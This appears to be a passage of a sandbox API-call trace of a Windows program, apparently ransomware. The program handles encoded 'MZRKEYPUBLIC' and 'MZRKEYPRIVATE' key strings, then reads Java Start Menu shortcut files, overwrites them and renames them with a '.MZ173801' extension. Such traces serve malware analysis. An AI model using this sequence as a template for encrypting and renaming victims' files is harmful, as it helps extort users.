dE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0214.770] GetCurrentThreadId () returned 0xab4 [0214.770] GetCurrentThreadId () returned 0xab4 [0214.770] GetCurrentThreadId () returned 0xab4 [0214.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.771] GetCurrentThreadId () returned 0xab4 [0214.771] GetCurrentThreadId () returned 0xab4 [0214.771] GetCurrentThreadId () returned 0xab4 [0214.771] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.771] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.771] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.771] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x818 [0214.771] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.772] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x818, lpOverlapped=0x0) returned 1 [0214.773] CloseHandle (hObject=0x330) returned 1 [0214.774] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.775] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x818, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x818, lpOverlapped=0x0) returned 1 [0214.776] CloseHandle (hObject=0x330) returned 1 [0214.777] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk.mz173801")) returned 1 [0214.777] GetCurrentThreadId () returned 0xab4 [0214.777] GetCurrentThreadId () returned 0xab4 [0214.777] GetCurrentThreadId () returned 0xab4 [0214.778] GetCurrentThreadId () returned 0xab4 [0214.778] GetCurrentThreadId () returned 0xab4 [0214.778] GetCurrentThreadId () returned 0xab4 [0214.778] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1cf99e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac1cf99e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac1cf99e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Get Help.url", cAlternateFileName="GETHEL~1.URL")) returned 1 [0214.778] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.778] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.778] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1cf99e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac1cf99e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac1cf99e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb4)) returned 1 [0214.779] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url")) returned 0x20 [0214.779] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url", dwFileAttributes=0x80) returned 1 [0214.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.783] GetCurrentThreadId () returned 0xab4 [0214.783] GetCurrentThreadId () returned 0xab4 [0214.783] GetCurrentThreadId () returned 0xab4 [0214.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4